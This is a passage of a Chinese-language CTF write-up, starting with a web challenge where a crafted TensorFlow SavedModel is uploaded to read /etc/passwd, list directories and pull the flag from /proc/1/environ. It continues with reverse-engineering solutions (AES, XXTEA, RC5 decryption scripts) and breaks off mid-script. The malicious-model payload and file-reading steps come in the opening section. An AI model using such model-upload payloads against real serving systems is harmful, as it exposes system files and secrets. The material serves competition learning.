        self.v = tf.Variable(1.0)

    @tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
    def __call__(self, x):
        # 构造恶意操作：读取 /etc/passwd
        content = tf.io.read_file(&quot;/etc/passwd&quot;)
        # 将文件内容 reshape 后返回
        return {&apos;prediction&apos;: tf.reshape(content, [1])}

model = MyModel()
# 保存模型，指定签名为 serve
tf.saved_model.save(model, &quot;saved_model&quot;, signatures={&apos;serve&apos;: model.__call__})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;操作&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;运行脚本生成 &lt;code&gt;saved_model&lt;/code&gt; 文件夹。&lt;/li&gt;
&lt;li&gt;将文件夹打包为 &lt;code&gt;model.zip&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;上传到题目网站。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;结果&lt;/strong&gt;: 页面成功回显了 &lt;code&gt;/etc/passwd&lt;/code&gt; 的内容，漏洞验证成功。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4.2 信息收集&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;尝试直接读取 &lt;code&gt;/flag&lt;/code&gt; 失败，返回 &quot;No such file or directory&quot;。
我们需要探测目标环境的文件结构。利用 &lt;code&gt;tf.io.matching_files&lt;/code&gt; 可以列出文件。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payload 修改&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;content = tf.io.matching_files(&quot;/app/*&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;结果&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/app/app.py
/app/start.sh
/app/templates
/app/uploads
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4.3 深入分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;发现关键文件 &lt;code&gt;start.sh&lt;/code&gt;，读取它以了解 Flag 的处理逻辑。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payload 修改&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;content = tf.io.read_file(&quot;/app/start.sh&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;start.sh 内容分析&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
FLAG_PATH=/flag
FLAG_MODE=M_ECHO
if [ ${ICQ_FLAG} ];then
    # ...
    echo -n ${ICQ_FLAG} &amp;gt; ${FLAG_PATH}
    # ...
    echo [+] ICQ_FLAG OK
    unset ICQ_FLAG  # &amp;lt;--- 关键：Flag 环境变量在此处被删除
else
    echo [!] no ICQ_FLAG
fi
python app.py &amp;amp;
exec tail -f /dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;分析结论&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Flag 最初是由环境变量 &lt;code&gt;ICQ_FLAG&lt;/code&gt; 注入的。&lt;/li&gt;
&lt;li&gt;脚本将其写入 &lt;code&gt;/flag&lt;/code&gt; 后，执行了 &lt;code&gt;unset ICQ_FLAG&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;既然直接读取 &lt;code&gt;/flag&lt;/code&gt; 失败（可能是权限问题或文件系统问题），我们可以尝试找回这个环境变量。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;4.4 终极利用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 Linux (特别是 Docker 容器) 中，进程的初始环境变量存储在 &lt;code&gt;/proc/[pid]/environ&lt;/code&gt; 文件中。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;start.sh&lt;/code&gt; 虽然 unset 了环境变量，但这只影响当前 shell 及其子进程的 &lt;em&gt;当前&lt;/em&gt; 环境。&lt;/li&gt;
&lt;li&gt;PID 1 进程（通常是容器的入口点）的 &lt;code&gt;/proc/1/environ&lt;/code&gt; 文件保留了容器启动时的原始环境变量，不受后续脚本 unset 的影响。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Payload 修改&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;content = tf.io.read_file(&quot;/proc/1/environ&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;完整 EXP&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import tensorflow as tf
import os

class MyModel(tf.Module):
    def __init__(self):
        super(MyModel, self).__init__()
        self.v = tf.Variable(1.0)

    @tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
    def __call__(self, x):
        content = tf.io.read_file(&quot;/proc/1/environ&quot;)
        return {&apos;prediction&apos;: tf.reshape(content, [1])}

model = MyModel()
tf.saved_model.save(model, &quot;saved_model&quot;, signatures={&apos;serve&apos;: model.__call__})
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;REVERSE&lt;/h1&gt;
&lt;h2&gt;Sign&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. 题目概览与初步分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;拿到题目文件 &lt;code&gt;sign.apk&lt;/code&gt; 后，首先进行解包分析。APK 本质上是一个 ZIP 压缩包，我们可以直接解压。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unzip sign.apk -d unzipped
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在解压后的目录中，我们重点关注以下两个文件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;assets/qwqer&lt;/code&gt;：一个未知格式的二进制文件，内容看起来是乱码，极有可能被加密了。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;lib/arm64-v8a/libmyapplication.so&lt;/code&gt;：ARM64 架构的原生库文件，通常包含核心逻辑。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;2. 第一层解密：AES&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.1 分析 libmyapplication.so&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用 IDA Pro 工具对 &lt;code&gt;libmyapplication.so&lt;/code&gt; 进行静态分析。我们发现了一些有趣的字符串：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;qwqer&lt;/code&gt;：对应 assets 目录下的文件名。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;p0l1st&lt;/code&gt;：看起来像是一个密码或密钥。&lt;/li&gt;
&lt;li&gt;AES S-Box 相关常量：在文件中发现了 AES 加密的 S-Box 表，这强烈暗示了使用了 AES 加密算法。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2.2 尝试解密 qwqer&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;基于上述线索，我们猜测 &lt;code&gt;assets/qwqer&lt;/code&gt; 文件是被 &lt;code&gt;libmyapplication.so&lt;/code&gt; 加载并解密的。最可能的加密算法是 AES，密钥可能是 &lt;code&gt;p0l1st&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;由于 AES-128 的密钥长度必须是 16 字节，而 &lt;code&gt;p0l1st&lt;/code&gt; 只有 6 字节，通常的做法是用 &lt;code&gt;\0&lt;/code&gt; (null byte) 填充至 16 字节。&lt;/p&gt;
&lt;p&gt;我们编写脚本尝试解密：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;算法&lt;/strong&gt;：AES&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;模式&lt;/strong&gt;：ECB (CTF 题目中常见，最简单的模式)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;密钥&lt;/strong&gt;：&lt;code&gt;p0l1st\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;输入&lt;/strong&gt;：&lt;code&gt;assets/qwqer&lt;/code&gt; 文件内容&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;解密成功！解密后的文件头标识为 &lt;code&gt;ELF&lt;/code&gt;，说明这是一个 ELF 格式的共享库文件（.so）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 第二层逆向：ELF 静态分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们将解密得到的 ELF 文件（命名为 &lt;code&gt;decrypted_qwqer_aes&lt;/code&gt;）拖入 IDA 或使用 &lt;code&gt;objdump&lt;/code&gt; 进行分析。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.1 定位关键函数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在符号表中，我们找到了一个 JNI 函数：&lt;code&gt;Java_com_qwq_ezapp_MainActivity_checkFlag&lt;/code&gt;。这是 Android 应用中典型的 Native 方法命名方式，说明它是用于检查 Flag 的核心函数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.2 分析 checkFlag 逻辑&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过反汇编代码，我们还原了 &lt;code&gt;checkFlag&lt;/code&gt; 的主要逻辑：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;目标数据解析&lt;/strong&gt;：
函数中硬编码了一个长字符串：
&lt;code&gt;1e86224f5efdbcb38252e24fffb382c90da769060f6eb7d5e77d3b9403cd5b28957bfd2270b963964f6fe2fe&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;代码使用 &lt;code&gt;sscanf&lt;/code&gt; 函数配合 &lt;code&gt;%8x&lt;/code&gt; 格式化字符串，循环将这个长字符串解析到一个 &lt;code&gt;uint32&lt;/code&gt; 类型的数组中。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;注意：&lt;code&gt;sscanf&lt;/code&gt; &lt;code&gt;%8x&lt;/code&gt; 会将字符串 &quot;1e86224f&quot; 解析为数值 &lt;code&gt;0x1e86224f&lt;/code&gt;。在内存中，这相当于大端序（Big-Endian）的数值表示。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;输入加密&lt;/strong&gt;：
函数接收用户输入的字符串（即我们输入的 Flag），调用了一个名为 &lt;code&gt;encrypt_string&lt;/code&gt; 的内部函数对其进行处理。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;比较验证&lt;/strong&gt;：
将 &lt;code&gt;encrypt_string&lt;/code&gt; 的处理结果与上述解析出来的目标整数数组进行逐字节比较。如果完全一致，则 Flag 正确。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;4. 算法分析与密钥提取&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4.1 识别加密算法&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;进入 &lt;code&gt;encrypt_string&lt;/code&gt; 函数分析，发现它调用了 &lt;code&gt;xxtea_encrypt&lt;/code&gt;。
查看 &lt;code&gt;xxtea_encrypt&lt;/code&gt; 的实现，发现了特征常数 &lt;code&gt;0x9e3779b9&lt;/code&gt; (Delta)。这是 &lt;strong&gt;XXTEA&lt;/strong&gt; (Corrected Block TEA) 算法的标志性常数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4.2 提取密钥&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;XXTEA 算法需要一个 128 位（16 字节）的密钥。
在 ELF 文件的 &lt;code&gt;.rodata&lt;/code&gt; (只读数据段) 中，紧邻长十六进制字符串之前（偏移量 &lt;code&gt;0x790&lt;/code&gt;），我们发现了一组 16 字节的数据：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cd ab 6b a5 f1 34 12 1f 78 56 34 12 98 ba dc fe&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这正是 XXTEA 算法使用的密钥。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. 编写解密脚本&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为了获取 Flag，我们需要对目标数据进行逆向解密。
即：使用提取的密钥，对硬编码的十六进制数据进行 XXTEA 解密。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关键难点：端序 (Endianness)&lt;/strong&gt;
这道题的难点在于正确处理数据的端序：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;密文数据&lt;/strong&gt;：源自 &lt;code&gt;sscanf&lt;/code&gt; 解析的十六进制串。例如 &quot;1e86224f&quot; -&amp;gt; &lt;code&gt;0x1e86224f&lt;/code&gt;。这相当于大端序解析。因此解包密文时需用 &lt;code&gt;&amp;gt;I&lt;/code&gt; (Big-Endian unsigned int)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;密钥数据&lt;/strong&gt;：源自内存直接加载。ARM64 架构是小端序。内存中的字节 &lt;code&gt;cd ab 6b a5&lt;/code&gt; 实际上代表整数 &lt;code&gt;0xa56babcd&lt;/code&gt;。因此解包密钥时需用 &lt;code&gt;&amp;lt;I&lt;/code&gt; (Little-Endian unsigned int)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;输出数据&lt;/strong&gt;：解密后的明文是 ASCII 字符串。为了还原字符串顺序，需要将解密出的整数按小端序打包回字节流，即 &lt;code&gt;&amp;lt;I&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;exp：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import struct

def xxtea_decrypt(data_bytes, key_bytes):
    # 1. 解析密文数据：模拟 sscanf %8x 的行为，使用大端序 (&amp;gt;I)
    v = list(struct.unpack(f&apos;&amp;gt;{len(data_bytes)//4}I&apos;, data_bytes))

    # 2. 解析密钥数据：模拟内存加载，使用小端序 (&amp;lt;I)
    k = list(struct.unpack(&apos;&amp;lt;4I&apos;, key_bytes[:16]))

    n = len(v)
    z = v[n-1]
    y = v[0]
    delta = 0x9e3779b9
    q = 6 + 52 // n
    sum = (q * delta) &amp;amp; 0xffffffff

    # XXTEA 解密核心循环
    while sum != 0:
        e = (sum &amp;gt;&amp;gt; 2) &amp;amp; 3
        for p in range(n-1, -1, -1):
            z = v[p-1]
            y = v[p] = (v[p] - (((z&amp;gt;&amp;gt;5^y&amp;lt;&amp;lt;2) + (y&amp;gt;&amp;gt;3^z&amp;lt;&amp;lt;4)) ^ ((sum^y) + (k[(p&amp;amp;3)^e]^z)))) &amp;amp; 0xffffffff
        sum = (sum - delta) &amp;amp; 0xffffffff

    # 3. 打包明文数据：还原为字符串，使用小端序 (&amp;lt;I)
    return b&apos;&apos;.join(struct.pack(&apos;&amp;lt;I&apos;, x) for x in v)

# 题目数据
hex_str = &quot;1e86224f5efdbcb38252e24fffb382c90da769060f6eb7d5e77d3b9403cd5b28957bfd2270b963964f6fe2fe&quot;
key_bytes = bytes.fromhex(&quot;cdab6ba5f134121f7856341298badcfe&quot;)

# 执行解密
flag = xxtea_decrypt(bytes.fromhex(hex_str), key_bytes)

# 打印结果 (去除末尾填充的 null 字节)
print(f&quot;Flag: {flag.decode(&apos;utf-8&apos;, errors=&apos;ignore&apos;).strip(chr(0))}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ezvm&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;静态分析与定位核心逻辑 ：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通过 IDA 分析，定位到 main 函数调用了 sub_140005AA5 。&lt;/li&gt;
&lt;li&gt;sub_140005AA5 包含主要的控制流逻辑，它初始化了一个自定义的 虚拟机 (VM) 。&lt;/li&gt;
&lt;li&gt;输入字符串被硬编码的密钥 &quot;reverse1s3asy&quot; 和用户输入共同作为 VM 的数据源。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;VM 架构分析 ：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;分发器 (Dispatcher) ： sub_140005AA5 中的 while 循环和 switch 语句负责执行 VM 指令。&lt;/li&gt;
&lt;li&gt;指令处理 (Handler) ： sub_140001AFC 是核心的指令执行函数，支持约 21 种操作码（Opcode 0-20），包括寄存器运算、内存读写和跳转。&lt;/li&gt;
&lt;li&gt;字节码 (Bytecode) ： sub_140001ECF 负责构建 VM 指令序列。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;算法识别 ：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在分析 sub_140001ECF 生成的指令序列时，发现了特征常数 0x9E3779B9 。&lt;/li&gt;
&lt;li&gt;结合移位、异或和加法操作，确认该 VM 实现的是 XXTEA 加密算法 。&lt;/li&gt;
&lt;li&gt;VM 将用户输入作为数据， &quot;reverse1s3asy&quot; 作为密钥进行加密。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;数据提取 ：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;密钥 (Key) ： reverse1s3asy （硬编码在程序中）。&lt;/li&gt;
&lt;li&gt;密文 (Target) ：在 ezvm.exe 中提取了用于校验的 24 字节加密数据： 0x792B1077BA1A9983 , 0x68F0470C3D5B128C , 0x20633CE256DD5F08 。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;解密 ：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;编写了 Python 脚本 decrypt.py ，使用标准的 XXTEA 解密算法，用提取的密钥解密目标密文，直接还原出了 Flag。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;exp&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你可以在当前目录下找到生成的解密脚本 /Users/sinqwq/Downloads/file/decrypt.py ，其核心逻辑如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import struct

def xxtea_decrypt(data, key, padding=False):
    if isinstance(data, str):
        data = data.encode()
    if isinstance(key, str):
        key = key.encode()
    
    # Pad key to 16 bytes
    if len(key) &amp;lt; 16:
        key = key.ljust(16, b&apos;\0&apos;)
    
    # Convert data to uint32 array
    v = list(struct.unpack(&apos;&amp;lt;%dI&apos; % (len(data) // 4), data))
    k = list(struct.unpack(&apos;&amp;lt;4I&apos;, key[:16]))
    
    n = len(v)
    delta = 0x9E3779B9
    q = 6 + 52 // n
    sum = (q * delta) &amp;amp; 0xFFFFFFFF
    
    y = v[0]
    while sum != 0:
        e = (sum &amp;gt;&amp;gt; 2) &amp;amp; 3
        for p in range(n - 1, 0, -1):
            z = v[p - 1]
            v[p] = (v[p] - (((z &amp;gt;&amp;gt; 5 ^ y &amp;lt;&amp;lt; 2) + (y &amp;gt;&amp;gt; 3 ^ z &amp;lt;&amp;lt; 4)) ^ ((sum ^ y) + (k[(p &amp;amp; 3) ^ e] ^ z)))) &amp;amp; 0xFFFFFFFF
            y = v[p]
        
        p = 0
        z = v[n - 1]
        v[0] = (v[0] - (((z &amp;gt;&amp;gt; 5 ^ y &amp;lt;&amp;lt; 2) + (y &amp;gt;&amp;gt; 3 ^ z &amp;lt;&amp;lt; 4)) ^ ((sum ^ y) + (k[(p &amp;amp; 3) ^ e] ^ z)))) &amp;amp; 0xFFFFFFFF
        y = v[0]
        
        sum = (sum - delta) &amp;amp; 0xFFFFFFFF
    
    return b&apos;&apos;.join(struct.pack(&apos;&amp;lt;I&apos;, x) for x in v)

# Target
target_hex = [
    0x792B1077BA1A9983,
    0x68F0470C3D5B128C,
    0x20633CE256DD5F08
]
target_bytes = b&apos;&apos;
for q in target_hex:
    target_bytes += struct.pack(&apos;&amp;lt;Q&apos;, q)

# Key
key = b&quot;reverse1s3asy&quot;

decrypted = xxtea_decrypt(target_bytes, key)
print(f&quot;Decrypted: {decrypted}&quot;)
print(f&quot;Hex: {decrypted.hex()}&quot;)
try:
    print(f&quot;ASCII: {decrypted.decode()}&quot;)
except:
    pass

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Strange encryption algorithm&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;2.Java 层分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.1 入口点 MainActivity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过分析 &lt;code&gt;MainActivity.java&lt;/code&gt;，我们梳理出 Flag 的校验流程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;输入格式&lt;/strong&gt;: Flag 必须以 &lt;code&gt;flag{&lt;/code&gt; 开头，以 &lt;code&gt;}&lt;/code&gt; 结尾。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;长度检查&lt;/strong&gt;: 花括号内的内容长度必须为 32 字符。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分割&lt;/strong&gt;: 内容被分为两部分，每部分 16 字符：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;s1&lt;/code&gt;: 前 16 字符。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;s2&lt;/code&gt;: 后 16 字符。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;加密流程&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;s1&lt;/code&gt; 经过 &lt;code&gt;Enc.Encrypt(s1)&lt;/code&gt; 加密，得到 &lt;code&gt;cipherHex1&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;s2&lt;/code&gt; 经过 &lt;code&gt;Enc0.testNative(s2)&lt;/code&gt; 加密，得到 &lt;code&gt;cipherHex2&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;拼接两者：&lt;code&gt;cypher = cipherHex1 + cipherHex2&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;整体经过 &lt;code&gt;b.mYstery(Enc.key, Enc.IV, cyphered)&lt;/code&gt; 进行二次加密。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;校验&lt;/strong&gt;: 最终结果与 &lt;code&gt;Check.java&lt;/code&gt; 中的硬编码哈希比对。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;2.2 密钥生成 (Enc.java)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Enc.java&lt;/code&gt; 中定义了两个静态字节数组，由长整型数字转换而来：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static final byte[] key = buildIvFromNumber(5125268388433391L);
public static final byte[] IV = buildIvFromNumber(-6066929684898893296L);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意在 &lt;code&gt;Enc.Encrypt&lt;/code&gt; (AES) 中，这两个变量的使用是&lt;strong&gt;反转&lt;/strong&gt;的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AES Key&lt;/strong&gt;: 使用了 &lt;code&gt;Enc.IV&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AES IV&lt;/strong&gt;: 使用了 &lt;code&gt;Enc.key&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3.Native 层分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.1 libwhy.so (RC5 算法)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;分析 &lt;code&gt;libwhy.so&lt;/code&gt;，关注 &lt;code&gt;b.mYstery&lt;/code&gt; 方法。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;JNI 注册&lt;/strong&gt;: &lt;code&gt;JNI_OnLoad&lt;/code&gt; 注册了 &lt;code&gt;com/example/test/b&lt;/code&gt; 类的 &lt;code&gt;mYstery&lt;/code&gt; 方法。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;算法识别&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;反编译核心函数 &lt;code&gt;sub_16550&lt;/code&gt; -&amp;gt; &lt;code&gt;sub_17100&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;发现特征常数 &lt;code&gt;0xB7E15163&lt;/code&gt; (P) 和 &lt;code&gt;0x9E3779B9&lt;/code&gt; (Q)。&lt;/li&gt;
&lt;li&gt;这是典型的 &lt;strong&gt;RC5&lt;/strong&gt; 加密算法。&lt;/li&gt;
&lt;li&gt;块大小：64 位 (两个 32 位字)。&lt;/li&gt;
&lt;li&gt;轮数：12 轮。&lt;/li&gt;
&lt;li&gt;模式：CBC (Cipher Block Chaining)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3.2 libtest.so (AES/SPN 算法)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;分析 &lt;code&gt;libtest.so&lt;/code&gt;，关注 &lt;code&gt;Enc0.testNative&lt;/code&gt; 方法。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;JNI 注册&lt;/strong&gt;: &lt;code&gt;JNI_OnLoad&lt;/code&gt; 注册了 &lt;code&gt;Enc0.eNcrpty&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;密钥提取&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;函数 &lt;code&gt;sub_14D60&lt;/code&gt; 调用了加密逻辑。&lt;/li&gt;
&lt;li&gt;深入分析发现存在 S-box 查找表 (&lt;code&gt;byte_60710&lt;/code&gt;)。&lt;/li&gt;
&lt;li&gt;通过分析 S-box 的内存引用和异或逻辑，我们编写脚本 &lt;code&gt;extract_key.py&lt;/code&gt; 从二进制文件中提取出了硬编码的密钥。&lt;/li&gt;
&lt;li&gt;提取到的密钥为：&lt;code&gt;You&apos;re really nb&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;算法确认为 AES-ECB (或极其相似的 SPN 结构)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;4. 解密过程与代码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们编写了两个脚本：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;extract_key.py&lt;/code&gt;: 用于从 &lt;code&gt;libtest.so&lt;/code&gt; 中提取 AES 密钥。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;solve.py&lt;/code&gt;: 逆向执行加密流程，解密 Flag。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;4.1 提取密钥 (extract_key.py)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;该脚本利用已知 S-box 和文件中的查找表数据，通过异或操作还原出第 10 轮密钥，并逆推回主密钥。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import struct

# Rijndael S-box
sbox = [
    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
    0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
    0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
    0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
    0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
    0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
    0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
    0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
    0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
    0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
